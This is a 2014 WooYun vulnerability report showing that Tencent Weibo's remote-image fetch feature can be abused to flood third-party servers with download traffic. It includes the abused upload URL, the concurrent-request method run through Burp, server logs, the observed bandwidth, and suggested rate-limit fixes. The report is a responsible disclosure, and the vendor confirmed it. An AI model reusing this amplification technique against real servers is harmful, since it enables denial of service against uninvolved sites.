当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-059188

漏洞标题：腾讯微博可能会被用作于DDOS他人服务器

相关厂商：腾讯

漏洞作者： imlonghao

提交时间：2014-05-02 17:39

修复时间：2014-06-16 17:40

公开时间：2014-06-16 17:40

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-02： 细节已通知厂商并且等待厂商处理中
2014-05-04： 厂商已经确认，细节仅向厂商公开
2014-05-14： 细节向核心白帽子及相关领域专家公开
2014-05-24： 细节向普通白帽子公开
2014-06-03： 细节向实习白帽子公开
2014-06-16： 细节向公众公开

简要描述：

通过腾讯微博的某处功能缺陷，可能会允许黑客利用其功能缺陷攻击他人服务器..
实测攻击瞬时最高达到400Mbps(可能统计不准确)

详细说明：

腾讯微博分享图片处，允许引用外部链接分享图片。
分享外部链接，腾讯的服务器会对其进行远程图片本地化，就是将图片拉回腾讯的服务器

0-0.png


0-1.png


http://upload.t.qq.com/old/uploadextpic.php?sourcepic=http%3A%2F%2Fimlonghao.com%2F1.jpg(省略了部分参数)


而这个地方，我发现并没有做太多的限制.
通过用户所提交的地址，服务器先会分析其是否是一张合法的图片，如果是，则会进行下载。
这个地方对每个用户今天所能提交的请求没有限制，意味着我们可以无限请求这个攻击
这个地方对同一个图片地址无论之前是否曾经下载过，都会进行新一次的下载

漏洞证明：

==对同一个相同地址多次下载==
在一般短的时间内，发起两次请求。
发现我们得到了两个不同的图片地址的返回值

-1-1.png


-1-2.png


==DDOS test #1==
测试的图片地址是：http://imlonghao.com/wp-content/uploads/2013/06/Veil_3.png
大小：492.0KiB
Burp并发120线程，测试了5000次左右

1.png


（未开始）

2.png


3.png


==DDOS test #2==
测试的图片地址是：http://imlonghao.com/1.jpg
大小：15.3MiB
同样也是Burp并发120线程，测试了10000次请求

4.png


（未开始）

5.png


6.png


7.png


可见这次的效果更好，最高达到了50MB/s的出网速度.
但是，在测试的过程中也发现，有时候腾讯的下载服务器会把这个图片判定为不是图片，所以有时候的下载就是到一般的时候自动停止。
Nginx Log

183.60.5.144 - - [02/May/2014:17:10:51 +0800] "GET /1.jpg?pid=9925 HTTP/1.1" 200 4996874 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36" "-"
183.60.5.144 - - [02/May/2014:17:10:51 +0800] "GET /1.jpg?pid=9919 HTTP/1.1" 200 10911498 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36" "-"
183.60.5.144 - - [02/May/2014:17:10:51 +0800] "GET /1.jpg?pid=9924 HTTP/1.1" 200 12369674 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36" "-"
183.60.5.144 - - [02/May/2014:17:10:51 +0800] "GET /1.jpg?pid=9861 HTTP/1.1" 200 14368522 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36" "-"
183.60.5.144 - - [02/May/2014:17:10:51 +0800] "GET /1.jpg?pid=9918 HTTP/1.1" 200 14335754 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36" "-"
183.60.5.144 - - [02/May/2014:17:10:51 +0800] "GET /1.jpg?pid=9958 HTTP/1.1" 200 14401290 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36" "-"
183.60.5.144 - - [02/May/2014:17:10:51 +0800] "GET /1.jpg?pid=9959 HTTP/1.1" 200 8552202 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36" "-"
183.60.5.144 - - [02/May/2014:17:10:51 +0800] "GET /1.jpg?pid=9863 HTTP/1.1" 200 6389514 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36" "-"
183.60.5.144 - - [02/May/2014:17:10:51 +0800] "GET /1.jpg?pid=9865 HTTP/1.1" 200 10223370 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36" "-"


通过nginx的日志不难看出，许多次请求都进行到一般就自动结束了，并没有请求完整张图片，不过效果也是十分明显的。

ll.png


这是SolusVM所提供的流量图，但是上面并没有50M/s的记录
我认为这是由于他所提供的记录拉了平均，因为这么长时间的速度并没有持续很长时间。
==总结==
可能使用一个更加优秀的POC可以达到更好的效果，不过就现在这样也可以令许多网站下线了！

修复方案：

尽管Facebook和Google都否认了他们所存在的类似漏洞，但是我觉得腾讯你们也应该有自己的看法。
我的修复方案是：
限制每个用户一天最多能使用多少次远程下载的功能
正常用户一天发几W张图片你觉得他发的是什么？
对地址进行记录，已经下载过的不进行另外的下载（不过这点似乎有点扯...可以绕过）
你们自己看看把~~

版权声明：转载请注明来源 imlonghao@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2014-05-04 12:30

厂商回复：

非常感谢您的报告，问题已着手处理，感谢大家对腾讯业务安全的关注。如果您有任何疑问，欢迎反馈，我们会有专人跟进处理。

最新状态：

暂无